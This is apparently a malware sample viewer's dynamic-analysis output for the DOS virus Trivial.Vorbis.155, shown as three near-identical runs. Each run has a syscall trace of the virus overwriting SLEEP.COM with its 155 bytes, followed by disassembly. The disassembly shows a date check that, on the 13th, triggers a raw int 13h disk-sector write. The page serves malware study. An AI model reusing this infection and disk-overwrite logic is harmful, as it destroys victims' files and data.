Sample viewer

vx.netlux.org/Virus.DOS.Trivial.Vorbis.155

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:43:28.988657227Z 78 PC: 12a71 | Find first file
2018-12-17T22:43:28.995536675Z 61 PC: 12a81 | Open file (Filename = 'SLEEP.COM')
2018-12-17T22:43:29.015610232Z 64 PC: 12a92 | Write file or device (Write 155 bytes on handle 5)
2018-12-17T22:43:29.023134388Z 62 PC: 12a9a | Close file
2018-12-17T22:43:29.038877902Z 59 PC: 12ab3 | Change current directory
2018-12-17T22:43:29.045118155Z 42 PC: 12ac4 | Get date 0x12ac4: cmp dl, 0xd
0x12ac7: je 0x12acb
0x12ac9: int 0x20
0x12acb: mov al, 0x9e
0x12acd: mov ah, 3
0x12acf: mov dl, 2
0x12ad1: mov cx, 0
0x12ad4: mov bx, 0x103
0x12ad7: int 0x13
0x12ad9: jmp 0x12ac9
0x12adb: int 0x21
0x12add: jmp 0x12aec
0x12adf: mov dl, byte ptr [bx]
0x12ae1: or dl, dl
0x12ae3: je 0x12aec
0x12ae5: mov ah, 2
0x12ae7: int 0x21
0x12ae9: inc bx
0x12aea: jmp 0x12adf
0x12aec: pop cx

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":7897,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:02:53.922229682Z 78 PC: 12a71 | Find first file
2018-12-25T12:02:53.927833993Z 61 PC: 12a81 | Open file (Filename = 'SLEEP.COM')
2018-12-25T12:02:53.932096305Z 64 PC: 12a92 | Write file or device (Write 155 bytes on handle 5)
2018-12-25T12:02:53.936893476Z 62 PC: 12a9a | Close file
2018-12-25T12:02:53.954360312Z 59 PC: 12ab3 | Change current directory
2018-12-25T12:02:53.969285964Z 42 PC: 12ac4 | Get date 0x12ac4: cmp dl, 0xd
0x12ac7: je 0x12acb
0x12ac9: int 0x20
0x12acb: mov al, 0x9e
0x12acd: mov ah, 3
0x12acf: mov dl, 2
0x12ad1: mov cx, 0
0x12ad4: mov bx, 0x103
0x12ad7: int 0x13
0x12ad9: jmp 0x12ac9
0x12adb: int 0x21
0x12add: jmp 0x12aec
0x12adf: mov dl, byte ptr [bx]
0x12ae1: or dl, dl
0x12ae3: je 0x12aec
0x12ae5: mov ah, 2
0x12ae7: int 0x21
0x12ae9: inc bx
0x12aea: jmp 0x12adf
0x12aec: pop cx

{"DateBased":true,"Day":13,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":7897,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:02:53.968448172Z 78 PC: 12a71 | Find first file
2018-12-25T12:02:53.974938304Z 61 PC: 12a81 | Open file (Filename = 'SLEEP.COM')
2018-12-25T12:02:53.981477943Z 64 PC: 12a92 | Write file or device (Write 155 bytes on handle 5)
2018-12-25T12:02:53.988302764Z 62 PC: 12a9a | Close file
2018-12-25T12:02:54.003532309Z 59 PC: 12ab3 | Change current directory
2018-12-25T12:02:54.007847351Z 42 PC: 12ac4 | Get date 0x12ac4: cmp dl, 0xd
0x12ac7: je 0x12acb
0x12ac9: int 0x20
0x12acb: mov al, 0x9e
0x12acd: mov ah, 3
0x12acf: mov dl, 2
0x12ad1: mov cx, 0
0x12ad4: mov bx, 0x103
0x12ad7: int 0x13
0x12ad9: jmp 0x12ac9
0x12adb: int 0x21
0x12add: jmp 0x12aec
0x12adf: mov dl, byte ptr [bx]
0x12ae1: or dl, dl
0x12ae3: je 0x12aec
0x12ae5: mov ah, 2
0x12ae7: int 0x21
0x12ae9: inc bx
0x12aea: jmp 0x12adf
0x12aec: pop cx